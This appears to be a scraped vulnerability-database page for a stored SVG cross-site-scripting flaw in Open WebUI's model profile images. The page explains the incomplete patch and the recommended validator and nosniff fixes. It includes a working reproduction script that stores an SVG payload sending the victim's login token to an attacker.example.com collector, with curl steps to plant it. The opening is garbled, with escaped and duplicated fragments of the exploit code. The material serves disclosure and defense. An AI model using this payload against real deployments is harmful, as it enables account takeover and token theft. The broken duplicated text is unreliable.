VYPR
\n' | base64 -w0)\n\ncurl -s -X POST 'https://TARGET/api/v1/models/create' \\\n -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -d \"{\n \\\"id\\\": \\\"gpt-4-turbo-preview\\\",\n \\\"name\\\": \\\"GPT-4 Turbo\\\",\n \\\"base_model_id\\\": \\\"gpt-4\\\",\n \\\"meta\\\": {\n \\\"profile_image_url\\\": \\\"data:image/svg+xml;base64,$SVG\\\",\n \\\"description\\\": \\\"Latest GPT-4 Turbo model\\\"\n },\n \\\"params\\\": {},\n \\\"access_grants\\\": []\n }\"\n```\n\n**Step 2 Victim navigates to the image URL:**\n\n```\nhttps://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview\n```\n\nThis happens naturally when a user right-clicks a model's avatar and selects \"Open Image in New Tab\", or when the attacker sends the URL directly (e.g., in a channel message).\n\n**Step 3 Token theft:**\n\nThe server responds:\n\n```http\nHTTP/1.1 200 OK\ncontent-type: image/svg+xml\ncontent-disposition: inline\n\n\n \n\n```\n\nNo `X-Content-Type-Options`. No `Content-Security-Policy`. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded `\n\nEOF\nSVG_B64=$(printf '%s' \"$SVG\" | base64 -w0)\n\n# --- Step 2: Store the payload in a model's profile_image_url ---\ncurl -s -X POST \"${TARGET}/api/v1/models/create\" \\\n -H \"Authorization: Bearer ${ATTACKER_TOKEN}\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\n \\\"id\\\": \\\"gpt-4-turbo-preview\\\",\n \\\"name\\\": \\\"GPT-4 Turbo\\\",\n \\\"base_model_id\\\": \\\"gpt-4\\\",\n \\\"meta\\\": {\n \\\"profile_image_url\\\": \\\"data:image/svg+xml;base64,${SVG_B64}\\\",\n \\\"description\\\": \\\"Latest GPT-4 Turbo\\\"\n },\n \\\"params\\\": {},\n \\\"access_grants\\\": []\n }\"\n\n# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---\necho \"Victim opens: ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview\"\n```\n\nExpected server response at Step 3 (the proof — SVG served inline, no defenses):\n\n```\nHTTP/1.1 200 OK\ncontent-type: image/svg+xml\ncontent-disposition: inline\n\n\n \n\n````\nNo X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the
High severity7.6NVD Advisory· Published Jun 17, 2026· Updated Jun 17, 2026

Open WebUI: Stored XSS to Account Takeover via Model Profile Images

CVE-2026-54013

Description

# Stored XSS to Account Takeover via Model Profile Images in Open WebUI

Affected: Open WebUI <= 0.9.5 Bypass of: GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc

---

TL;DR

Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to model profile images. The ModelMeta class has no validate_profile_image_url field validator, and the model image serving endpoint has no MIME allowlist or nosniff header. Any authenticated user with workspace.models permission (enabled by default) can store a data:image/svg+xml;base64,... payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL.

---

Past of the issue

In early 2025, two security advisories landed for Open WebUI:

  • GHSA-3wgj-c2hg-vm6q SVG XSS via user profile images
  • GHSA-3856-3vxq-m6fc SVG XSS via webhook profile images

The patches were clean. A validate_profile_image_url function was introduced in backend/open_webui/utils/validate.py a compiled regex that restricts data: URIs to safe raster formats (image/png, image/jpeg, image/gif, image/webp), explicitly excluding image/svg+xml because SVG can carry embedded ` ' | base64 -w0)

curl -s -X POST 'https://TARGET/api/v1/models/create' \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d "{ \"id\": \"gpt-4-turbo-preview\", \"name\": \"GPT-4 Turbo\", \"base_model_id\": \"gpt-4\", \"meta\": { \"profile_image_url\": \"data:image/svg+xml;base64,$SVG\", \"description\": \"Latest GPT-4 Turbo model\" }, \"params\": {}, \"access_grants\": [] }" `` **Step 2 Victim navigates to the image URL:** ``

https://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview `` This happens naturally when a user right-clicks a model's avatar and selects "Open Image in New Tab", or when the attacker sends the URL directly (e.g., in a channel message). **Step 3 Token theft:** The server responds: ``http

HTTP/1.1 200 OK content-type: image/svg+xml content-disposition: inline


No `X-Content-Type-Options`. No `Content-Security-Policy`. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded `

EOF
SVG_B64=$(printf '%s' "$SVG" | base64 -w0)

# --- Step 2: Store the payload in a model's profile_image_url ---
curl -s -X POST "${TARGET}/api/v1/models/create" \
  -H "Authorization: Bearer ${ATTACKER_TOKEN}" \
  -H "Content-Type: application/json" \
  -d "{
    \"id\": \"gpt-4-turbo-preview\",
    \"name\": \"GPT-4 Turbo\",
    \"base_model_id\": \"gpt-4\",
    \"meta\": {
      \"profile_image_url\": \"data:image/svg+xml;base64,${SVG_B64}\",
      \"description\": \"Latest GPT-4 Turbo\"
    },
    \"params\": {},
    \"access_grants\": []
  }"

# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---
echo "Victim opens:  ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview"

Expected server response at Step 3 (the proof — SVG served inline, no defenses):

HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline


  

`

No X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).

Trigger note: because the frontend loads model avatars in `` context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document — e.g. right-click → "Open image in new tab", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.

Root

Cause

An incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to UserUpdateForm and UpdateProfileForm. When GHSA-3856-3vxq-m6fc was fixed, it was added to ChannelWebhookForm. But ModelMeta which uses the same profile_image_url field with the same serving logic was never touched. The output-side defenses (MIME allowlist + nosniff) were also only added to users.py, not to models.py or channels.py.

Recommended

Fix

Input side add the validator to ModelMeta:

# backend/open_webui/models/models.py
from open_webui.utils.validate import validate_profile_image_url

class ModelMeta(BaseModel):
    profile_image_url: Optional[str] = '/static/favicon.png'
    # ...

    @field_validator('profile_image_url', mode='before')
    @classmethod
    def check_profile_image_url(cls, v):
        if v is None:
            return v
        return validate_profile_image_url(v)

Output side add MIME check and nosniff to the serving endpoint:

# backend/open_webui/routers/models.py
media_type = header.split(';')[0].lstrip('data:').lower()

if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:
    return FileResponse(f'{STATIC_DIR}/favicon.png')

return StreamingResponse(
    image_buffer,
    media_type=media_type,
    headers={
        'Content-Disposition': 'inline',
        'X-Content-Type-Options': 'nosniff',
    },
)

Both layers are necessary input validation prevents storage, output validation prevents serving even if a bypass is found later.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected products

1

Patches

Vulnerability mechanics

Root cause

"Incomplete patch: the `validate_profile_image_url` field validator and output-side MIME allowlist/nosniff header were added to user and webhook profile image endpoints but never applied to the `ModelMeta` class or the model profile image serving endpoint [ref_id=1][ref_id=2]."

Attack vector

An authenticated attacker with the default `workspace.models` permission sends a `POST /api/v1/models/create` request containing a `data:image/svg+xml;base64,...` payload in the `meta.profile_image_url` field [ref_id=1][ref_id=2]. The `ModelMeta` class accepts this without validation. When a victim navigates to `GET /api/v1/models/model/profile/image?id=<model_id>` as a top-level document (e.g., right-click → "Open image in new tab"), the server responds with `Content-Type: image/svg+xml` and no `X-Content-Type-Options` header, causing the browser to execute the embedded SVG `<script>` in the Open WebUI origin [ref_id=1]. The script exfiltrates `localStorage.getItem("token")` (the victim's JWT) to an attacker-controlled endpoint, enabling full account takeover [ref_id=1][ref_id=2].

Affected code

The vulnerable code is in `backend/open_webui/models/models.py` (class `ModelMeta`, line 37-47) which lacks a `@field_validator` for `profile_image_url`, and in `backend/open_webui/routers/models.py` (line 503-518) where the `GET /api/v1/models/model/profile/image` endpoint serves `data:` URIs without a MIME allowlist or `X-Content-Type-Options: nosniff` header [ref_id=1][ref_id=2]. The same fix applied to `UserUpdateForm`, `UpdateProfileForm`, and `ChannelWebhookForm` was never applied to `ModelMeta` [ref_id=1].

What the fix does

The provided patch (patch_id=6352110) only updates the release workflow and does **not** fix the vulnerability [patch_id=6352110]. The advisory recommends two layers of defense [ref_id=1][ref_id=2]: (1) add a `@field_validator('profile_image_url')` to `ModelMeta` in `models/models.py` that calls `validate_profile_image_url` to reject `image/svg+xml` data URIs at input time, and (2) add a MIME allowlist check and `X-Content-Type-Options: nosniff` header to the model image serving endpoint in `routers/models.py`, mirroring the patched user endpoint in `users.py` [ref_id=1]. Both layers are necessary because input validation prevents storage while output validation catches any future bypass [ref_id=1].

Preconditions

  • authAttacker must have an authenticated session with the `workspace.models` permission (enabled by default for non-pending users)
  • inputVictim must navigate to the model profile image URL as a top-level document (e.g., right-click → Open in new tab, or clicking a direct link)
  • configTarget must be running Open WebUI <= 0.9.5

Reproduction

```bash #!/usr/bin/env bash TARGET="http://localhost:8080" ATTACKER_TOKEN="<attacker_JWT>" COLLECTOR="https://attacker.example.com/steal"

read -r -d '' SVG <<EOF <svg xmlns="http://www.w3.org/2000/svg"> <script> new Image().src="${COLLECTOR}?t="+encodeURIComponent(localStorage.getItem("token")); </script> </svg> EOF SVG_B64=$(printf '%s' "$SVG" | base64 -w0)

curl -s -X POST "${TARGET}/api/v1/models/create" \ -H "Authorization: Bearer ${ATTACKER_TOKEN}" \ -H "Content-Type: application/json" \ -d "{ \"id\": \"gpt-4-turbo-preview\", \"name\": \"GPT-4 Turbo\", \"base_model_id\": \"gpt-4\", \"meta\": { \"profile_image_url\": \"data:image/svg+xml;base64,${SVG_B64}\", \"description\": \"Latest GPT-4 Turbo\" }, \"params\": {}, \"access_grants\": [] }"

echo "Victim opens: ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview" ```

Generated on Jun 17, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.